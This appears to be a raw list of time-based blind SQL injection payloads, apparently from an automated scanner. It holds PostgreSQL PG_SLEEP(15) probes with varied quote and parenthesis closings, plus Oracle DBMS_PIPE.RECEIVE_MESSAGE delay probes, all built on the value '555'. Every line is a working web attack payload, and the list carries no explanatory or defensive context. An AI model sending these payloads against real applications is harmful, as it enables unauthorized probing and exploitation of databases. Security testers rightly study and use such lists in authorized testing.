555-1 OR 923=(SELECT 923 FROM PG_SLEEP(15))--

555-1) OR 717=(SELECT 717 FROM PG_SLEEP(15))--

555-1)) OR 877=(SELECT 877 FROM PG_SLEEP(15))--

555DmcEPmr3' OR 181=(SELECT 181 FROM PG_SLEEP(15))--

555dyVcDyL8') OR 386=(SELECT 386 FROM PG_SLEEP(15))--

555mS5Xj1As')) OR 59=(SELECT 59 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555